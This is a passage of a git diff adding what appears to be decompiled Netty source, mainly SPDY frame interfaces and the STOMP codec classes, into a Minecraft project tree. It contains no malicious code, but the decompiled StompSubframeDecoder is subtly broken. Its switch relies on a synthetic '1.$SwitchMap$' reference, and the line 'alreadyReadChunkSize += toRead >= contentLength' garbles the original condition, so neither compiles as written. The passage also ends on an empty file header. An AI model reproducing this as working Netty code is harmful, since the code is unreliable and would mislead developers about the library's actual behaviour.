+      throw new NullPointerException("statusPhrase");
+    }
+    
+    this.code = code;
+    this.statusPhrase = statusPhrase;
+  }
+  
+
+
+  public int code()
+  {
+    return code;
+  }
+  
+
+
+  public String statusPhrase()
+  {
+    return statusPhrase;
+  }
+  
+  public int hashCode()
+  {
+    return code();
+  }
+  
+  public boolean equals(Object o)
+  {
+    if (!(o instanceof SpdyStreamStatus)) {
+      return false;
+    }
+    
+    return code() == ((SpdyStreamStatus)o).code();
+  }
+  
+  public String toString()
+  {
+    return statusPhrase();
+  }
+  
+  public int compareTo(SpdyStreamStatus o)
+  {
+    return code() - o.code();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/spdy/SpdySynReplyFrame.java b/src/minecraft/io/netty/handler/codec/spdy/SpdySynReplyFrame.java
new file mode 100644
index 0000000..adfa1f3
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/spdy/SpdySynReplyFrame.java
@@ -0,0 +1,11 @@
+package io.netty.handler.codec.spdy;
+
+public abstract interface SpdySynReplyFrame
+  extends SpdyHeadersFrame
+{
+  public abstract SpdySynReplyFrame setStreamId(int paramInt);
+  
+  public abstract SpdySynReplyFrame setLast(boolean paramBoolean);
+  
+  public abstract SpdySynReplyFrame setInvalid();
+}
diff --git a/src/minecraft/io/netty/handler/codec/spdy/SpdySynStreamFrame.java b/src/minecraft/io/netty/handler/codec/spdy/SpdySynStreamFrame.java
new file mode 100644
index 0000000..6a7cd21
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/spdy/SpdySynStreamFrame.java
@@ -0,0 +1,23 @@
+package io.netty.handler.codec.spdy;
+
+public abstract interface SpdySynStreamFrame
+  extends SpdyHeadersFrame
+{
+  public abstract int associatedStreamId();
+  
+  public abstract SpdySynStreamFrame setAssociatedStreamId(int paramInt);
+  
+  public abstract byte priority();
+  
+  public abstract SpdySynStreamFrame setPriority(byte paramByte);
+  
+  public abstract boolean isUnidirectional();
+  
+  public abstract SpdySynStreamFrame setUnidirectional(boolean paramBoolean);
+  
+  public abstract SpdySynStreamFrame setStreamId(int paramInt);
+  
+  public abstract SpdySynStreamFrame setLast(boolean paramBoolean);
+  
+  public abstract SpdySynStreamFrame setInvalid();
+}
diff --git a/src/minecraft/io/netty/handler/codec/spdy/SpdyVersion.java b/src/minecraft/io/netty/handler/codec/spdy/SpdyVersion.java
new file mode 100644
index 0000000..190a5b6
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/spdy/SpdyVersion.java
@@ -0,0 +1,36 @@
+package io.netty.handler.codec.spdy;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public enum SpdyVersion
+{
+  SPDY_3_1(3, 1);
+  
+  private final int version;
+  private final int minorVersion;
+  
+  private SpdyVersion(int version, int minorVersion) {
+    this.version = version;
+    this.minorVersion = minorVersion;
+  }
+  
+  int getVersion() {
+    return version;
+  }
+  
+  int getMinorVersion() {
+    return minorVersion;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/spdy/SpdyWindowUpdateFrame.java b/src/minecraft/io/netty/handler/codec/spdy/SpdyWindowUpdateFrame.java
new file mode 100644
index 0000000..9db43c6
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/spdy/SpdyWindowUpdateFrame.java
@@ -0,0 +1,13 @@
+package io.netty.handler.codec.spdy;
+
+public abstract interface SpdyWindowUpdateFrame
+  extends SpdyFrame
+{
+  public abstract int streamId();
+  
+  public abstract SpdyWindowUpdateFrame setStreamId(int paramInt);
+  
+  public abstract int deltaWindowSize();
+  
+  public abstract SpdyWindowUpdateFrame setDeltaWindowSize(int paramInt);
+}
diff --git a/src/minecraft/io/netty/handler/codec/stomp/DefaultLastStompContentSubframe.java b/src/minecraft/io/netty/handler/codec/stomp/DefaultLastStompContentSubframe.java
new file mode 100644
index 0000000..d57d4bf
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/stomp/DefaultLastStompContentSubframe.java
@@ -0,0 +1,77 @@
+package io.netty.handler.codec.stomp;
+
+import io.netty.buffer.ByteBuf;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultLastStompContentSubframe
+  extends DefaultStompContentSubframe
+  implements LastStompContentSubframe
+{
+  public DefaultLastStompContentSubframe(ByteBuf content)
+  {
+    super(content);
+  }
+  
+  public LastStompContentSubframe copy()
+  {
+    return (LastStompContentSubframe)super.copy();
+  }
+  
+  public LastStompContentSubframe duplicate()
+  {
+    return (LastStompContentSubframe)super.duplicate();
+  }
+  
+  public LastStompContentSubframe retainedDuplicate()
+  {
+    return (LastStompContentSubframe)super.retainedDuplicate();
+  }
+  
+  public LastStompContentSubframe replace(ByteBuf content)
+  {
+    return new DefaultLastStompContentSubframe(content);
+  }
+  
+  public DefaultLastStompContentSubframe retain()
+  {
+    super.retain();
+    return this;
+  }
+  
+  public LastStompContentSubframe retain(int increment)
+  {
+    super.retain(increment);
+    return this;
+  }
+  
+  public LastStompContentSubframe touch()
+  {
+    super.touch();
+    return this;
+  }
+  
+  public LastStompContentSubframe touch(Object hint)
+  {
+    super.touch(hint);
+    return this;
+  }
+  
+  public String toString()
+  {
+    return "DefaultLastStompContent{decoderResult=" + decoderResult() + '}';
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/stomp/DefaultStompContentSubframe.java b/src/minecraft/io/netty/handler/codec/stomp/DefaultStompContentSubframe.java
new file mode 100644
index 0000000..bb3a976
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/stomp/DefaultStompContentSubframe.java
@@ -0,0 +1,91 @@
+package io.netty.handler.codec.stomp;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.DefaultByteBufHolder;
+import io.netty.handler.codec.DecoderResult;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultStompContentSubframe
+  extends DefaultByteBufHolder
+  implements StompContentSubframe
+{
+  private DecoderResult decoderResult = DecoderResult.SUCCESS;
+  
+  public DefaultStompContentSubframe(ByteBuf content) {
+    super(content);
+  }
+  
+  public StompContentSubframe copy()
+  {
+    return (StompContentSubframe)super.copy();
+  }
+  
+  public StompContentSubframe duplicate()
+  {
+    return (StompContentSubframe)super.duplicate();
+  }
+  
+  public StompContentSubframe retainedDuplicate()
+  {
+    return (StompContentSubframe)super.retainedDuplicate();
+  }
+  
+  public StompContentSubframe replace(ByteBuf content)
+  {
+    return new DefaultStompContentSubframe(content);
+  }
+  
+  public StompContentSubframe retain()
+  {
+    super.retain();
+    return this;
+  }
+  
+  public StompContentSubframe retain(int increment)
+  {
+    super.retain(increment);
+    return this;
+  }
+  
+  public StompContentSubframe touch()
+  {
+    super.touch();
+    return this;
+  }
+  
+  public StompContentSubframe touch(Object hint)
+  {
+    super.touch(hint);
+    return this;
+  }
+  
+  public DecoderResult decoderResult()
+  {
+    return decoderResult;
+  }
+  
+  public void setDecoderResult(DecoderResult decoderResult)
+  {
+    this.decoderResult = decoderResult;
+  }
+  
+  public String toString()
+  {
+    return "DefaultStompContent{decoderResult=" + decoderResult + '}';
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/stomp/DefaultStompFrame.java b/src/minecraft/io/netty/handler/codec/stomp/DefaultStompFrame.java
new file mode 100644
index 0000000..53a82ac
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/stomp/DefaultStompFrame.java
@@ -0,0 +1,109 @@
+package io.netty.handler.codec.stomp;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.Unpooled;
+import io.netty.util.CharsetUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultStompFrame
+  extends DefaultStompHeadersSubframe
+  implements StompFrame
+{
+  private final ByteBuf content;
+  
+  public DefaultStompFrame(StompCommand command)
+  {
+    this(command, Unpooled.buffer(0));
+  }
+  
+  public DefaultStompFrame(StompCommand command, ByteBuf content) {
+    super(command);
+    if (content == null) {
+      throw new NullPointerException("content");
+    }
+    this.content = content;
+  }
+  
+  public ByteBuf content()
+  {
+    return content;
+  }
+  
+  public StompFrame copy()
+  {
+    return replace(content.copy());
+  }
+  
+  public StompFrame duplicate()
+  {
+    return replace(content.duplicate());
+  }
+  
+  public StompFrame retainedDuplicate()
+  {
+    return replace(content.retainedDuplicate());
+  }
+  
+  public StompFrame replace(ByteBuf content)
+  {
+    return new DefaultStompFrame(command, content);
+  }
+  
+  public int refCnt()
+  {
+    return content.refCnt();
+  }
+  
+  public StompFrame retain()
+  {
+    content.retain();
+    return this;
+  }
+  
+  public StompFrame retain(int increment)
+  {
+    content.retain(increment);
+    return this;
+  }
+  
+  public StompFrame touch()
+  {
+    content.touch();
+    return this;
+  }
+  
+  public StompFrame touch(Object hint)
+  {
+    content.touch(hint);
+    return this;
+  }
+  
+  public boolean release()
+  {
+    return content.release();
+  }
+  
+  public boolean release(int decrement)
+  {
+    return content.release(decrement);
+  }
+  
+  public String toString()
+  {
+    return "DefaultStompFrame{command=" + command + ", headers=" + headers + ", content=" + content.toString(CharsetUtil.UTF_8) + '}';
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/stomp/DefaultStompHeaders.java b/src/minecraft/io/netty/handler/codec/stomp/DefaultStompHeaders.java
new file mode 100644
index 0000000..a81a9af
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/stomp/DefaultStompHeaders.java
@@ -0,0 +1,60 @@
+package io.netty.handler.codec.stomp;
+
+import io.netty.handler.codec.CharSequenceValueConverter;
+import io.netty.handler.codec.DefaultHeaders;
+import io.netty.handler.codec.HeadersUtils;
+import io.netty.util.AsciiString;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultStompHeaders
+  extends DefaultHeaders<CharSequence, CharSequence, StompHeaders>
+  implements StompHeaders
+{
+  public DefaultStompHeaders()
+  {
+    super(AsciiString.CASE_SENSITIVE_HASHER, CharSequenceValueConverter.INSTANCE);
+  }
+  
+  public String getAsString(CharSequence name)
+  {
+    return HeadersUtils.getAsString(this, name);
+  }
+  
+  public List<String> getAllAsString(CharSequence name)
+  {
+    return HeadersUtils.getAllAsString(this, name);
+  }
+  
+  public Iterator<Map.Entry<String, String>> iteratorAsString()
+  {
+    return HeadersUtils.iteratorAsString(this);
+  }
+  
+  public boolean contains(CharSequence name, CharSequence value)
+  {
+    return contains(name, value, false);
+  }
+  
+  public boolean contains(CharSequence name, CharSequence value, boolean ignoreCase)
+  {
+    return contains(name, value, ignoreCase ? AsciiString.CASE_INSENSITIVE_HASHER : AsciiString.CASE_SENSITIVE_HASHER);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/stomp/DefaultStompHeadersSubframe.java b/src/minecraft/io/netty/handler/codec/stomp/DefaultStompHeadersSubframe.java
new file mode 100644
index 0000000..312a53f
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/stomp/DefaultStompHeadersSubframe.java
@@ -0,0 +1,60 @@
+package io.netty.handler.codec.stomp;
+
+import io.netty.handler.codec.DecoderResult;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultStompHeadersSubframe
+  implements StompHeadersSubframe
+{
+  protected final StompCommand command;
+  protected DecoderResult decoderResult = DecoderResult.SUCCESS;
+  protected final StompHeaders headers = new DefaultStompHeaders();
+  
+  public DefaultStompHeadersSubframe(StompCommand command) {
+    if (command == null) {
+      throw new NullPointerException("command");
+    }
+    this.command = command;
+  }
+  
+  public StompCommand command()
+  {
+    return command;
+  }
+  
+  public StompHeaders headers()
+  {
+    return headers;
+  }
+  
+  public DecoderResult decoderResult()
+  {
+    return decoderResult;
+  }
+  
+  public void setDecoderResult(DecoderResult decoderResult)
+  {
+    this.decoderResult = decoderResult;
+  }
+  
+  public String toString()
+  {
+    return "StompFrame{command=" + command + ", headers=" + headers + '}';
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/stomp/LastStompContentSubframe.java b/src/minecraft/io/netty/handler/codec/stomp/LastStompContentSubframe.java
new file mode 100644
index 0000000..f59df35
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/stomp/LastStompContentSubframe.java
@@ -0,0 +1,118 @@
+package io.netty.handler.codec.stomp;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.Unpooled;
+import io.netty.handler.codec.DecoderResult;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract interface LastStompContentSubframe
+  extends StompContentSubframe
+{
+  public static final LastStompContentSubframe EMPTY_LAST_CONTENT = new LastStompContentSubframe()
+  {
+    public ByteBuf content() {
+      return Unpooled.EMPTY_BUFFER;
+    }
+    
+    public LastStompContentSubframe copy()
+    {
+      return EMPTY_LAST_CONTENT;
+    }
+    
+    public LastStompContentSubframe duplicate()
+    {
+      return this;
+    }
+    
+    public LastStompContentSubframe retainedDuplicate()
+    {
+      return this;
+    }
+    
+    public LastStompContentSubframe replace(ByteBuf content)
+    {
+      return new DefaultLastStompContentSubframe(content);
+    }
+    
+    public LastStompContentSubframe retain()
+    {
+      return this;
+    }
+    
+    public LastStompContentSubframe retain(int increment)
+    {
+      return this;
+    }
+    
+    public LastStompContentSubframe touch()
+    {
+      return this;
+    }
+    
+    public LastStompContentSubframe touch(Object hint)
+    {
+      return this;
+    }
+    
+    public int refCnt()
+    {
+      return 1;
+    }
+    
+    public boolean release()
+    {
+      return false;
+    }
+    
+    public boolean release(int decrement)
+    {
+      return false;
+    }
+    
+    public DecoderResult decoderResult()
+    {
+      return DecoderResult.SUCCESS;
+    }
+    
+    public void setDecoderResult(DecoderResult result)
+    {
+      throw new UnsupportedOperationException("read only");
+    }
+  };
+  
+  public abstract LastStompContentSubframe copy();
+  
+  public abstract LastStompContentSubframe duplicate();
+  
+  public abstract LastStompContentSubframe retainedDuplicate();
+  
+  public abstract LastStompContentSubframe replace(ByteBuf paramByteBuf);
+  
+  public abstract LastStompContentSubframe retain();
+  
+  public abstract LastStompContentSubframe retain(int paramInt);
+  
+  public abstract LastStompContentSubframe touch();
+  
+  public abstract LastStompContentSubframe touch(Object paramObject);
+}
diff --git a/src/minecraft/io/netty/handler/codec/stomp/StompCommand.java b/src/minecraft/io/netty/handler/codec/stomp/StompCommand.java
new file mode 100644
index 0000000..0f1cc98
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/stomp/StompCommand.java
@@ -0,0 +1,8 @@
+package io.netty.handler.codec.stomp;
+
+public enum StompCommand
+{
+  STOMP,  CONNECT,  CONNECTED,  SEND,  SUBSCRIBE,  UNSUBSCRIBE,  ACK,  NACK,  BEGIN,  DISCONNECT,  MESSAGE,  RECEIPT,  ERROR,  UNKNOWN;
+  
+  private StompCommand() {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/stomp/StompConstants.java b/src/minecraft/io/netty/handler/codec/stomp/StompConstants.java
new file mode 100644
index 0000000..82fc28b
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/stomp/StompConstants.java
@@ -0,0 +1,11 @@
+package io.netty.handler.codec.stomp;
+
+final class StompConstants
+{
+  static final byte CR = 13;
+  static final byte LF = 10;
+  static final byte NUL = 0;
+  static final byte COLON = 58;
+  
+  private StompConstants() {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/stomp/StompContentSubframe.java b/src/minecraft/io/netty/handler/codec/stomp/StompContentSubframe.java
new file mode 100644
index 0000000..c3e2b12
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/stomp/StompContentSubframe.java
@@ -0,0 +1,24 @@
+package io.netty.handler.codec.stomp;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufHolder;
+
+public abstract interface StompContentSubframe
+  extends ByteBufHolder, StompSubframe
+{
+  public abstract StompContentSubframe copy();
+  
+  public abstract StompContentSubframe duplicate();
+  
+  public abstract StompContentSubframe retainedDuplicate();
+  
+  public abstract StompContentSubframe replace(ByteBuf paramByteBuf);
+  
+  public abstract StompContentSubframe retain();
+  
+  public abstract StompContentSubframe retain(int paramInt);
+  
+  public abstract StompContentSubframe touch();
+  
+  public abstract StompContentSubframe touch(Object paramObject);
+}
diff --git a/src/minecraft/io/netty/handler/codec/stomp/StompFrame.java b/src/minecraft/io/netty/handler/codec/stomp/StompFrame.java
new file mode 100644
index 0000000..5cb8b31
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/stomp/StompFrame.java
@@ -0,0 +1,23 @@
+package io.netty.handler.codec.stomp;
+
+import io.netty.buffer.ByteBuf;
+
+public abstract interface StompFrame
+  extends StompHeadersSubframe, LastStompContentSubframe
+{
+  public abstract StompFrame copy();
+  
+  public abstract StompFrame duplicate();
+  
+  public abstract StompFrame retainedDuplicate();
+  
+  public abstract StompFrame replace(ByteBuf paramByteBuf);
+  
+  public abstract StompFrame retain();
+  
+  public abstract StompFrame retain(int paramInt);
+  
+  public abstract StompFrame touch();
+  
+  public abstract StompFrame touch(Object paramObject);
+}
diff --git a/src/minecraft/io/netty/handler/codec/stomp/StompHeaders.java b/src/minecraft/io/netty/handler/codec/stomp/StompHeaders.java
new file mode 100644
index 0000000..17528a7
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/stomp/StompHeaders.java
@@ -0,0 +1,58 @@
+package io.netty.handler.codec.stomp;
+
+import io.netty.handler.codec.Headers;
+import io.netty.util.AsciiString;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract interface StompHeaders
+  extends Headers<CharSequence, CharSequence, StompHeaders>
+{
+  public static final AsciiString ACCEPT_VERSION = new AsciiString("accept-version");
+  public static final AsciiString HOST = new AsciiString("host");
+  public static final AsciiString LOGIN = new AsciiString("login");
+  public static final AsciiString PASSCODE = new AsciiString("passcode");
+  public static final AsciiString HEART_BEAT = new AsciiString("heart-beat");
+  public static final AsciiString VERSION = new AsciiString("version");
+  public static final AsciiString SESSION = new AsciiString("session");
+  public static final AsciiString SERVER = new AsciiString("server");
+  public static final AsciiString DESTINATION = new AsciiString("destination");
+  public static final AsciiString ID = new AsciiString("id");
+  public static final AsciiString ACK = new AsciiString("ack");
+  public static final AsciiString TRANSACTION = new AsciiString("transaction");
+  public static final AsciiString RECEIPT = new AsciiString("receipt");
+  public static final AsciiString MESSAGE_ID = new AsciiString("message-id");
+  public static final AsciiString SUBSCRIPTION = new AsciiString("subscription");
+  public static final AsciiString RECEIPT_ID = new AsciiString("receipt-id");
+  public static final AsciiString MESSAGE = new AsciiString("message");
+  public static final AsciiString CONTENT_LENGTH = new AsciiString("content-length");
+  public static final AsciiString CONTENT_TYPE = new AsciiString("content-type");
+  
+  public abstract String getAsString(CharSequence paramCharSequence);
+  
+  public abstract List<String> getAllAsString(CharSequence paramCharSequence);
+  
+  public abstract Iterator<Map.Entry<String, String>> iteratorAsString();
+  
+  public abstract boolean contains(CharSequence paramCharSequence1, CharSequence paramCharSequence2, boolean paramBoolean);
+}
diff --git a/src/minecraft/io/netty/handler/codec/stomp/StompHeadersSubframe.java b/src/minecraft/io/netty/handler/codec/stomp/StompHeadersSubframe.java
new file mode 100644
index 0000000..3ba8cf1
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/stomp/StompHeadersSubframe.java
@@ -0,0 +1,9 @@
+package io.netty.handler.codec.stomp;
+
+public abstract interface StompHeadersSubframe
+  extends StompSubframe
+{
+  public abstract StompCommand command();
+  
+  public abstract StompHeaders headers();
+}
diff --git a/src/minecraft/io/netty/handler/codec/stomp/StompSubframe.java b/src/minecraft/io/netty/handler/codec/stomp/StompSubframe.java
new file mode 100644
index 0000000..731078e
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/stomp/StompSubframe.java
@@ -0,0 +1,7 @@
+package io.netty.handler.codec.stomp;
+
+import io.netty.handler.codec.DecoderResultProvider;
+
+public abstract interface StompSubframe
+  extends DecoderResultProvider
+{}
diff --git a/src/minecraft/io/netty/handler/codec/stomp/StompSubframeAggregator.java b/src/minecraft/io/netty/handler/codec/stomp/StompSubframeAggregator.java
new file mode 100644
index 0000000..b39159a
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/stomp/StompSubframeAggregator.java
@@ -0,0 +1,92 @@
+package io.netty.handler.codec.stomp;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelPipeline;
+import io.netty.handler.codec.MessageAggregator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class StompSubframeAggregator
+  extends MessageAggregator<StompSubframe, StompHeadersSubframe, StompContentSubframe, StompFrame>
+{
+  public StompSubframeAggregator(int maxContentLength)
+  {
+    super(maxContentLength);
+  }
+  
+  protected boolean isStartMessage(StompSubframe msg) throws Exception
+  {
+    return msg instanceof StompHeadersSubframe;
+  }
+  
+  protected boolean isContentMessage(StompSubframe msg) throws Exception
+  {
+    return msg instanceof StompContentSubframe;
+  }
+  
+  protected boolean isLastContentMessage(StompContentSubframe msg) throws Exception
+  {
+    return msg instanceof LastStompContentSubframe;
+  }
+  
+  protected boolean isAggregated(StompSubframe msg) throws Exception
+  {
+    return msg instanceof StompFrame;
+  }
+  
+  protected boolean isContentLengthInvalid(StompHeadersSubframe start, int maxContentLength)
+  {
+    return (int)Math.min(2147483647L, start.headers().getLong(StompHeaders.CONTENT_LENGTH, -1L)) > maxContentLength;
+  }
+  
+
+  protected Object newContinueResponse(StompHeadersSubframe start, int maxContentLength, ChannelPipeline pipeline)
+  {
+    return null;
+  }
+  
+  protected boolean closeAfterContinueResponse(Object msg) throws Exception
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  protected boolean ignoreContentAfterContinueResponse(Object msg) throws Exception
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  protected StompFrame beginAggregation(StompHeadersSubframe start, ByteBuf content) throws Exception
+  {
+    StompFrame ret = new DefaultStompFrame(start.command(), content);
+    ret.headers().set(start.headers());
+    return ret;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/stomp/StompSubframeDecoder.java b/src/minecraft/io/netty/handler/codec/stomp/StompSubframeDecoder.java
new file mode 100644
index 0000000..d8e8edc
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/stomp/StompSubframeDecoder.java
@@ -0,0 +1,284 @@
+package io.netty.handler.codec.stomp;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufUtil;
+import io.netty.buffer.Unpooled;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.DecoderException;
+import io.netty.handler.codec.DecoderResult;
+import io.netty.handler.codec.ReplayingDecoder;
+import io.netty.handler.codec.TooLongFrameException;
+import io.netty.util.internal.AppendableCharSequence;
+import java.util.List;
+import java.util.Locale;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class StompSubframeDecoder
+  extends ReplayingDecoder<State>
+{
+  private static final int DEFAULT_CHUNK_SIZE = 8132;
+  private static final int DEFAULT_MAX_LINE_LENGTH = 1024;
+  private final int maxLineLength;
+  private final int maxChunkSize;
+  private int alreadyReadChunkSize;
+  private LastStompContentSubframe lastContent;
+  
+  static enum State
+  {
+    SKIP_CONTROL_CHARACTERS, 
+    READ_HEADERS, 
+    READ_CONTENT, 
+    FINALIZE_FRAME_READ, 
+    BAD_FRAME, 
+    INVALID_CHUNK;
+    
+
+    private State() {}
+  }
+  
+
+  private long contentLength = -1L;
+  
+  public StompSubframeDecoder() {
+    this(1024, 8132);
+  }
+  
+  public StompSubframeDecoder(int maxLineLength, int maxChunkSize) {
+    super(State.SKIP_CONTROL_CHARACTERS);
+    if (maxLineLength <= 0) {
+      throw new IllegalArgumentException("maxLineLength must be a positive integer: " + maxLineLength);
+    }
+    
+
+    if (maxChunkSize <= 0) {
+      throw new IllegalArgumentException("maxChunkSize must be a positive integer: " + maxChunkSize);
+    }
+    
+
+    this.maxChunkSize = maxChunkSize;
+    this.maxLineLength = maxLineLength;
+  }
+  
+  protected void decode(ChannelHandlerContext ctx, ByteBuf in, List<Object> out) throws Exception
+  {
+    switch (1.$SwitchMap$io$netty$handler$codec$stomp$StompSubframeDecoder$State[((State)state()).ordinal()]) {
+    case 1: 
+      skipControlCharacters(in);
+      checkpoint(State.READ_HEADERS);
+    
+    case 2: 
+      StompCommand command = StompCommand.UNKNOWN;
+      StompHeadersSubframe frame = null;
+      try {
+        command = readCommand(in);
+        frame = new DefaultStompHeadersSubframe(command);
+        checkpoint(readHeaders(in, frame.headers()));
+        out.add(frame);
+      } catch (Exception e) {
+        if (frame == null) {
+          frame = new DefaultStompHeadersSubframe(command);
+        }
+        frame.setDecoderResult(DecoderResult.failure(e));
+        out.add(frame);
+        checkpoint(State.BAD_FRAME);
+        return;
+      }
+    
+    case 3: 
+      in.skipBytes(actualReadableBytes());
+      return;
+    }
+    try {
+      switch (1.$SwitchMap$io$netty$handler$codec$stomp$StompSubframeDecoder$State[((State)state()).ordinal()]) {
+      case 4: 
+        int toRead = in.readableBytes();
+        if (toRead == 0) {
+          return;
+        }
+        if (toRead > maxChunkSize) {
+          toRead = maxChunkSize;
+        }
+        if (contentLength >= 0L) {
+          int remainingLength = (int)(contentLength - alreadyReadChunkSize);
+          if (toRead > remainingLength) {
+            toRead = remainingLength;
+          }
+          ByteBuf chunkBuffer = ByteBufUtil.readBytes(ctx.alloc(), in, toRead);
+          if (this.alreadyReadChunkSize += toRead >= contentLength) {
+            lastContent = new DefaultLastStompContentSubframe(chunkBuffer);
+            checkpoint(State.FINALIZE_FRAME_READ);
+          } else {
+            out.add(new DefaultStompContentSubframe(chunkBuffer));
+            return;
+          }
+        } else {
+          int nulIndex = ByteBufUtil.indexOf(in, in.readerIndex(), in.writerIndex(), (byte)0);
+          if (nulIndex == in.readerIndex()) {
+            checkpoint(State.FINALIZE_FRAME_READ);
+          } else {
+            if (nulIndex > 0) {
+              toRead = nulIndex - in.readerIndex();
+            } else {
+              toRead = in.writerIndex() - in.readerIndex();
+            }
+            ByteBuf chunkBuffer = ByteBufUtil.readBytes(ctx.alloc(), in, toRead);
+            alreadyReadChunkSize += toRead;
+            if (nulIndex > 0) {
+              lastContent = new DefaultLastStompContentSubframe(chunkBuffer);
+              checkpoint(State.FINALIZE_FRAME_READ);
+            } else {
+              out.add(new DefaultStompContentSubframe(chunkBuffer));
+              return;
+            }
+          }
+        }
+      
+      case 5: 
+        skipNullCharacter(in);
+        if (lastContent == null) {
+          lastContent = LastStompContentSubframe.EMPTY_LAST_CONTENT;
+        }
+        out.add(lastContent);
+        resetDecoder();
+      }
+    } catch (Exception e) {
+      StompContentSubframe errorContent = new DefaultLastStompContentSubframe(Unpooled.EMPTY_BUFFER);
+      errorContent.setDecoderResult(DecoderResult.failure(e));
+      out.add(errorContent);
+      checkpoint(State.BAD_FRAME);
+    }
+  }
+  
+  private StompCommand readCommand(ByteBuf in) {
+    String commandStr = readLine(in, maxLineLength);
+    StompCommand command = null;
+    try {
+      command = StompCommand.valueOf(commandStr);
+    }
+    catch (IllegalArgumentException localIllegalArgumentException) {}
+    
+    if (command == null) {
+      commandStr = commandStr.toUpperCase(Locale.US);
+      try {
+        command = StompCommand.valueOf(commandStr);
+      }
+      catch (IllegalArgumentException localIllegalArgumentException1) {}
+    }
+    
+    if (command == null) {
+      throw new DecoderException("failed to read command from channel");
+    }
+    return command;
+  }
+  
+  private State readHeaders(ByteBuf buffer, StompHeaders headers) {
+    for (;;) {
+      String line = readLine(buffer, maxLineLength);
+      if (!line.isEmpty()) {
+        String[] split = line.split(":");
+        if (split.length == 2) {
+          headers.add(split[0], split[1]);
+        }
+      } else {
+        if (headers.contains(StompHeaders.CONTENT_LENGTH)) {
+          contentLength = getContentLength(headers, 0L);
+          if (contentLength == 0L) {
+            return State.FINALIZE_FRAME_READ;
+          }
+        }
+        return State.READ_CONTENT;
+      }
+    }
+  }
+  
+  private static long getContentLength(StompHeaders headers, long defaultValue) {
+    long contentLength = headers.getLong(StompHeaders.CONTENT_LENGTH, defaultValue);
+    if (contentLength < 0L) {
+      throw new DecoderException(StompHeaders.CONTENT_LENGTH + " must be non-negative");
+    }
+    return contentLength;
+  }
+  
+  private static void skipNullCharacter(ByteBuf buffer) {
+    byte b = buffer.readByte();
+    if (b != 0) {
+      throw new IllegalStateException("unexpected byte in buffer " + b + " while expecting NULL byte");
+    }
+  }
+  
+  private static void skipControlCharacters(ByteBuf buffer) {
+    byte b;
+    do {
+      b = buffer.readByte();
+    } while ((b == 13) || (b == 10));
+    buffer.readerIndex(buffer.readerIndex() - 1);
+  }
+  
+
+
+  private static String readLine(ByteBuf buffer, int maxLineLength)
+  {
+    AppendableCharSequence buf = new AppendableCharSequence(128);
+    int lineLength = 0;
+    for (;;) {
+      byte nextByte = buffer.readByte();
+      if (nextByte == 13) {
+        nextByte = buffer.readByte();
+        if (nextByte == 10)
+          return buf.toString();
+      } else {
+        if (nextByte == 10) {
+          return buf.toString();
+        }
+        if (lineLength >= maxLineLength) {
+          throw new TooLongFrameException("An STOMP line is larger than " + maxLineLength + " bytes.");
+        }
+        lineLength++;
+        buf.append((char)nextByte);
+      }
+    }
+  }
+  
+  private void resetDecoder() {
+    checkpoint(State.SKIP_CONTROL_CHARACTERS);
+    contentLength = -1L;
+    alreadyReadChunkSize = 0;
+    lastContent = null;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/stomp/StompSubframeEncoder.java b/src/minecraft/io/netty/handler/codec/stomp/StompSubframeEncoder.java
new file mode 100644
index 0000000..13ec25f
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/stomp/StompSubframeEncoder.java
